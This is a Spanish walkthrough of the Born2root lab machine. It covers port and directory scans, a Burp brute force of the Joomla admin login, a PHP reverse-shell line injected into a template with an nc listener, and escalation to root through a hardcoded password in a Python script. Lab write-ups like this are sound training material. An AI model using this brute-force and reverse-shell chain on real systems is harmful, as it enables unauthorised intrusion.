Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-03 15:50 EDT
Nmap scan report for 192.168.5.167
Host is up (0.0013s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 ec:61:97:9f:4d:cb:75:99:59:d4:c1:c4:d4:3e:d9:dc (DSA)
|   2048 89:99:c4:54:9a:18:66:f7:cd:8e:ab:b6:aa:31:2e:c6 (RSA)
|   256 60:be:dd:8f:1a:d7:a3:f3:fe:21:cc:2f:11:30:7b:0d (ECDSA)
|_  256 39:d9:79:26:60:3d:6c:a2:1e:8b:19:71:c0:e2:5e:5f (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Welcome to my website
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          33682/udp   status
|   100024  1          36574/udp6  status
|   100024  1          50581/tcp6  status
|_  100024  1          58706/tcp   status
58706/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:CC:3D:4E (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.30 ms 192.168.5.167

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.15 seconds
```

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.167/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 297]
/.htpasswd            (Status: 403) [Size: 297]
/.htpasswd.txt        (Status: 403) [Size: 301]
/.htaccess.html       (Status: 403) [Size: 302]
/.htpasswd.php        (Status: 403) [Size: 301]
/.htpasswd.html       (Status: 403) [Size: 302]
/LICENSE              (Status: 200) [Size: 1093]
/.htaccess.php        (Status: 403) [Size: 301]
/.htaccess.txt        (Status: 403) [Size: 301]
/css                  (Status: 200) [Size: 1144]
/img                  (Status: 200) [Size: 1798]
/index.html           (Status: 200) [Size: 8454]
/javascript           (Status: 403) [Size: 299]
/js                   (Status: 200) [Size: 1144]
/manual               (Status: 200) [Size: 626]
/joomla               (Status: 200) [Size: 8471]
/server-status        (Status: 403) [Size: 301]
/vendor               (Status: 200) [Size: 1766]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Vemos varias cosas interesantes, como por ejemplo un `joomla`...

```
gobuster dir -u http://<IP>/joomla/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.167/joomla/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.txt        (Status: 403) [Size: 308]
/.htpasswd.txt        (Status: 403) [Size: 308]
/.htpasswd.html       (Status: 403) [Size: 309]
/.htpasswd            (Status: 403) [Size: 304]
/.htaccess.html       (Status: 403) [Size: 309]
/.htpasswd.php        (Status: 403) [Size: 308]
/.htaccess.php        (Status: 403) [Size: 308]
/LICENSE.txt          (Status: 200) [Size: 18092]
/README.txt           (Status: 200) [Size: 4239]
/.htaccess            (Status: 403) [Size: 304]
/administrator        (Status: 200) [Size: 5326]
/bin                  (Status: 200) [Size: 31]
/cache                (Status: 200) [Size: 31]
/cli                  (Status: 200) [Size: 31]
/components           (Status: 200) [Size: 31]
/configuration.php    (Status: 200) [Size: 0]
/htaccess.txt         (Status: 200) [Size: 2915]
/images               (Status: 200) [Size: 31]
/includes             (Status: 200) [Size: 31]
/index.php            (Status: 200) [Size: 8501]
/layouts              (Status: 200) [Size: 31]
/language             (Status: 200) [Size: 31]
/libraries            (Status: 200) [Size: 31]
/media                (Status: 200) [Size: 31]
/modules              (Status: 200) [Size: 31]
/plugins              (Status: 200) [Size: 31]
/templates            (Status: 200) [Size: 31]
/tmp                  (Status: 200) [Size: 31]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Si utilizamos un repositorio de `GitHub` para descargarnos el `joomscan`, haremos lo siguiente...

```
perl joomscan.pl --url http://<IP>/joomla/
```

Info:

```
    ____  _____  _____  __  __  ___   ___    __    _  _
   (_  _)(  _  )(  _  )(  /  )/ __) / __)  /__\  ( ( )
  .-_)(   )(_)(  )(_)(  )    ( __ ( (__  /(__)\  )  (
  ____) (_____)(_____)(_//_)(___/ ___)(__)(__)(_)_)
                        (1337.today)

    --=[OWASP JoomScan
    +---++---==[Version : 0.0.7
    +---++---==[Update Date : [2018/09/23]
    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
    --=[Code name : Self Challenge
    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
```

```
Processing http://192.168.5.167/joomla/ ...



[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.6.0

[+] Core Joomla Vulnerability
[++] Joomla! 3.4.4 < 3.6.4 - Account Creation / Privilege Escalation
CVE : CVE-2016-8870 , CVE-2016-8869
EDB : https://www.exploit-db.com/exploits/40637/

Joomla! Core Remote Privilege Escalation Vulnerability
CVE : CVE-2016-9838
EDB : https://www.exploit-db.com/exploits/41157/

Joomla! Core Security Bypass Vulnerability
CVE : CVE-2016-9081
https://developer.joomla.org/security-centre/661-20161003-core-account-
modifications.html

Joomla! Core Arbitrary File Upload Vulnerability
CVE : CVE-2016-9836
https://developer.joomla.org/security-centre/665-20161202-core-shell-upload.html

Joomla! Information Disclosure Vulnerability
CVE : CVE-2016-9837
https://developer.joomla.org/security-centre/666-20161203-core-information-
disclosure.html

PHPMailer Remote Code Execution Vulnerability
CVE : CVE-2016-10033
https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection
https://github.com/opsxcq/exploit-CVE-2016-10033
EDB : https://www.exploit-db.com/exploits/40969/

PPHPMailer Incomplete Fix Remote Code Execution Vulnerability
CVE : CVE-2016-10045
https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection
EDB : https://www.exploit-db.com/exploits/40969/



[+] Checking Directory Listing
[++] directory has directory listing :
http://192.168.5.167/joomla/administrator/components
http://192.168.5.167/joomla/administrator/modules
http://192.168.5.167/joomla/administrator/templates
http://192.168.5.167/joomla/images/banners
```

```
[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder
[++] Admin page : http://192.168.5.167/joomla/administrator/

[+] Checking robots.txt existing
[++] robots.txt is not found

[+] Finding common backup files name
[++] Backup files are not found

[+] Finding common log files name
[++] error log is not found

[+] Checking sensitive config.php.x file
[++] Readable config files are not found


Your Report : reports/192.168.5.167/
```

Si hacemos lo siguiente...

```
perl joomscan.pl --url http://<IP>/joomla/administrator/ -ec
```

Info:

```
    ____  _____  _____  __  __  ___   ___    __    _  _
   (_  _)(  _  )(  _  )(  /  )/ __) / __)  /__\  ( ( )
  .-_)(   )(_)(  )(_)(  )    ( __ ( (__  /(__)\  )  (
  ____) (_____)(_____)(_//_)(___/ ___)(__)(__)(_)_)
                        (1337.today)

    --=[OWASP JoomScan
    +---++---==[Version : 0.0.7
    +---++---==[Update Date : [2018/09/23]
    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
    --=[Code name : Self Challenge
    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP

Processing http://192.168.5.167/joomla/administrator/ ...



[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.6.0

[+] Core Joomla Vulnerability
[++] Joomla! 3.4.4 < 3.6.4 - Account Creation / Privilege Escalation
CVE : CVE-2016-8870 , CVE-2016-8869
EDB : https://www.exploit-db.com/exploits/40637/

Joomla! Core Remote Privilege Escalation Vulnerability
```

```
CVE : CVE-2016-9838
EDB : https://www.exploit-db.com/exploits/41157/

Joomla! Core Security Bypass Vulnerability
CVE : CVE-2016-9081
https://developer.joomla.org/security-centre/661-20161003-core-account-
modifications.html

Joomla! Core Arbitrary File Upload Vulnerability
CVE : CVE-2016-9836
https://developer.joomla.org/security-centre/665-20161202-core-shell-upload.html

Joomla! Information Disclosure Vulnerability
CVE : CVE-2016-9837
https://developer.joomla.org/security-centre/666-20161203-core-information-
disclosure.html

PHPMailer Remote Code Execution Vulnerability
CVE : CVE-2016-10033
https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection
https://github.com/opsxcq/exploit-CVE-2016-10033
EDB : https://www.exploit-db.com/exploits/40969/

PPHPMailer Incomplete Fix Remote Code Execution Vulnerability
CVE : CVE-2016-10045
https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection
EDB : https://www.exploit-db.com/exploits/40969/



[+] Checking Directory Listing
[++] directory has directory listing :
http://192.168.5.167/joomla/administrator/components
http://192.168.5.167/joomla/administrator/modules
http://192.168.5.167/joomla/administrator/templates
http://192.168.5.167/joomla/administrator/includes
http://192.168.5.167/joomla/administrator/language
http://192.168.5.167/joomla/administrator/templates


[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder
[++] Admin page not found

[+] Checking robots.txt existing
[++] robots.txt is not found

[+] Finding common backup files name
[++] Backup files are not found

[+] Finding common log files name
[++] error log is not found
```

```
[+] Checking sensitive config.php.x file
[++] Readable config files are not found

[+] Enumeration component (com_admin)
[++] Name: com_admin
Location : http://192.168.5.167/joomla/administrator/components/com_admin/
Directory listing is enabled :
http://192.168.5.167/joomla/administrator/components/com_admin/
Installed version : 3.1


[+] Enumeration component (com_ajax)
[++] Name: com_ajax
Location : http://192.168.5.167/joomla/administrator/components/com_ajax/
Directory listing is enabled :
http://192.168.5.167/joomla/administrator/components/com_ajax/
Installed version : 3.2


[+] Enumeration component (com_banners)
[++] Name: com_banners
Location : http://192.168.5.167/joomla/administrator/components/com_banners/
Directory listing is enabled :
http://192.168.5.167/joomla/administrator/components/com_banners/
Installed version : 3.1


[+] Enumeration component (com_contact)
[++] Name: com_contact
Location : http://192.168.5.167/joomla/administrator/components/com_contact/
Directory listing is enabled :
http://192.168.5.167/joomla/administrator/components/com_contact/
Installed version : 3.1


[+] Enumeration component (com_content)
[++] Name: com_content
Location : http://192.168.5.167/joomla/administrator/components/com_content/
Directory listing is enabled :
http://192.168.5.167/joomla/administrator/components/com_content/
Installed version : 3.1


[+] Enumeration component (com_contenthistory)
[++] Name: com_contenthistory
Location : http://192.168.5.167/joomla/administrator/components/com_contenthistory/
Directory listing is enabled :
http://192.168.5.167/joomla/administrator/components/com_contenthistory/
Installed version : 3.2


[+] Enumeration component (com_finder)
[++] Name: com_finder
Location : http://192.168.5.167/joomla/administrator/components/com_finder/
Directory listing is enabled :
```

```
http://192.168.5.167/joomla/administrator/components/com_finder/
Installed version : 3.1


[+] Enumeration component (com_installer)
[++] Name: com_installer
Location : http://192.168.5.167/joomla/administrator/components/com_installer/
Directory listing is enabled :
http://192.168.5.167/joomla/administrator/components/com_installer/
Installed version : 3.1


[+] Enumeration component (com_joomlaupdate)
[++] Name: com_joomlaupdate
Location : http://192.168.5.167/joomla/administrator/components/com_joomlaupdate/
Directory listing is enabled :
http://192.168.5.167/joomla/administrator/components/com_joomlaupdate/
Installed version : 3.1


[+] Enumeration component (com_media)
[++] Name: com_media
Location : http://192.168.5.167/joomla/administrator/components/com_media/
Directory listing is enabled :
http://192.168.5.167/joomla/administrator/components/com_media/
Installed version : 3.1


[+] Enumeration component (com_newsfeeds)
[++] Name: com_newsfeeds
Location : http://192.168.5.167/joomla/administrator/components/com_newsfeeds/
Directory listing is enabled :
http://192.168.5.167/joomla/administrator/components/com_newsfeeds/
Installed version : 3.1


[+] Enumeration component (com_search)
[++] Name: com_search
Location : http://192.168.5.167/joomla/administrator/components/com_search/
Directory listing is enabled :
http://192.168.5.167/joomla/administrator/components/com_search/
Installed version : 3.1


[+] Enumeration component (com_users)
[++] Name: com_users
Location : http://192.168.5.167/joomla/administrator/components/com_users/
Directory listing is enabled :
http://192.168.5.167/joomla/administrator/components/com_users/
Installed version : 3.1



Your Report : reports/192.168.5.167/
```

Vemos que hay varias vulnerabilidades tanto de `Exploit-DB` como de los posibles componentes que nos descubrio...

Pero lo que haremos sera un diccionario personalizado cogiendo palabras de la propia pagina de `joomla` haciendo lo siguiente...

```
cewl http://<IP>/joomla > dic.txt
```

Lo que haremos sera abrir `BurpSuit` para tirarle un ataque de fuerza bruta con ese diccionario y con el usuario `admin`...

Lo que haremos sera capturar la peticion del login pasarselo al `Intruder` con `^I` y de ahi cargamos el diccionario en el `payload`, despues seleccionamos la casilla del contenido de `password` y le damos al boton `Add§` y despues le damos a `Atacar` en la seccion de `payload`...

![[Pasted image 20240604101628.png]]

Cuando haya acabado el ataque tendremos que ver el ultimo codigo `200` pues el anterior que sea codigo `303` sera la contraseña, se vera de la siguiente manera...

![[Pasted image 20240604101429.png]]

Por lo que ya descubrimos la contraseña `travel`, ahora nos iremos a logear...

Una vez dentro, nos iremos a `Themes` y de ahi a la opcion de `Templates`, dentro del mismo nos vamos a cualquier `.php` por ejemplo elegi `index.php` y estaremos en el editor para inyectar codigo y asi poder hacer una `Reverse Shell`...

```
$sock=fsockopen("<IP>",<PORT>);shell_exec("sh <&3 >&3 2>&3");
```

Eso lo tendremos que poner en el codigo y guardarlo, le damos a `Template Preview` para que se active la shell por asi decirlo y estando a la escucha...

```
nc -lvnp <PORT>
```

Una vez hecho eso tendremos una shell con `www-data`...

La sanitizaremos...

```
script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Si hacemos lo siguiente...

```
www-data@born2root:/home/tim$ find / -type f -perm -4000 -ls 2>/dev/null
138907   12 -rwsr-xr-x   1 root     root         9468 Mar 28  2017
/usr/lib/eject/dmcrypt-get-device
144166  356 -rwsr-xr--   1 root     messagebus   362672 Nov 21  2016 /usr/lib/dbus-
```

```
1.0/dbus-daemon-launch-helper
144700  552 -rwsr-xr-x   1 root     root       562536 Nov 19  2017
/usr/lib/openssh/ssh-keysign
155634  176 -rwsrwxrwx   1 root     root       176400 Sep  8  2017 /usr/bin/sudo
   696   40 -rwsr-xr-x   1 root     root        38868 May 17  2017 /bin/su
  1698   28 -rwsr-xr-x   1 root     root        26344 Mar 29  2015 /bin/umount
  1697   36 -rwsr-xr-x   1 root     root        34684 Mar 29  2015 /bin/mount
```

Veremos esta linea...

```
155634  176 -rwsrwxrwx   1 root     root       176400 Sep  8  2017 /usr/bin/sudo
```

Por lo que podemos escribirlo, editarlo y ejecutarlo como si fuera `root`, pero no se puede hacer mucho...

Si nos vamos a `/opt/scripts/` veremos un archivo llamado `fileshare.py` con los siguientes permisos...

```
-rwxr-xr-x 1 tim  tim   445 Feb 28  2019 fileshare.py
```

Pertenece a `tim` por lo que tendremos que explotarlo para ser `tim`...

Si leemos el script de `python` veremos lo siguiente...

```
#!/usr/bin/env python

import sys, paramiko

if len(sys.argv) < 5:
    print "args missing"
    sys.exit(1)

hostname = "localhost"
password = "lulzlol"
source = "/var/www/html/joomla"
dest = "/tmp/backup/joomla"

username = "tim"
port = 22

try:
    t = paramiko.Transport((hostname, port))
    t.connect(username=username, password=password)
    sftp = paramiko.SFTPClient.from_transport(t)
    sftp.get(source, dest)

finally:
    t.close()
```

Vemos que muestra una `password` por lo que probaremos a insertarla en el usuario `tim`...

> Credentials

```
User = tim
Password = lulzlol
```

Con esto ya seriamos `tim`...

Si hacemos `sudo -l` veremos lo siguiente...

```
Matching Defaults entries for tim on born2root:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User tim may run the following commands on born2root:
    (ALL : ALL) ALL
```

Con esto podremos ser `root`, haciendo lo siguiente...

```
sudo su
```

Una vez siendo `root` leeremos la flag...

> flag.txt (flagfinal)

```

             .andAHHAbnn.
           .aAHHHAAUUAAHHHAn.
          dHP^~"        "~^THb.
    .   .AHF                YHA.   .
    |  .AHHb.              .dHHA.  |
    |  HHAUAAHAbn      adAHAAUAHA  |
    I  HF~"_____        ____ ]HHH  I
   HHI HAPK""~^YUHb  dAHHHHHHHHHH IHH
   HHI HHHD> .andHH  HHUUP^~YHHHH IHH
   YUI ]HHP     "~Y  P~"     THH[ IUP
    "  `HK                   ]HH'  "
        THAn.  .d.aAAn.b.  .dHHP
        ]HHHHAAUP" ~~ "YUAAHHHH[
        `HHP^~"  .annn.  "~^YHH'
         YHb    ~" "" "~    dHF
          "YAb..abdHHbndbndAP"
           THHAAb.  .adAHHF
            "UHHHHHHHHHHU"
              ]HHUUHHHHHH[
            .adHHb "HHHHHbn.
     ..andAAHHHHHHb.AHHHHHHHAAbnn..
.ndAAHHHHHHUUHHHHHHHHHHUP^~"~^YUHHHAAbn.
  "~^YUHHP"   "~^YUHHUP"        "^YUP^"
       ""         "~~"



W00t w00t ! If you are reading this text  then Congratulations !!

I hope you liked the second episode of 'Born2root' if you liked it please ping me in
Twitter @h4d3sw0rm .

If you want to try more boxes like this created by me , try this new sweet lab called
'Wizard-Labs' which is a platform which hosts many boot2root machines to improve your
pentesting skillset https://labs.wizard-security.net !
Until we meet again :-)
```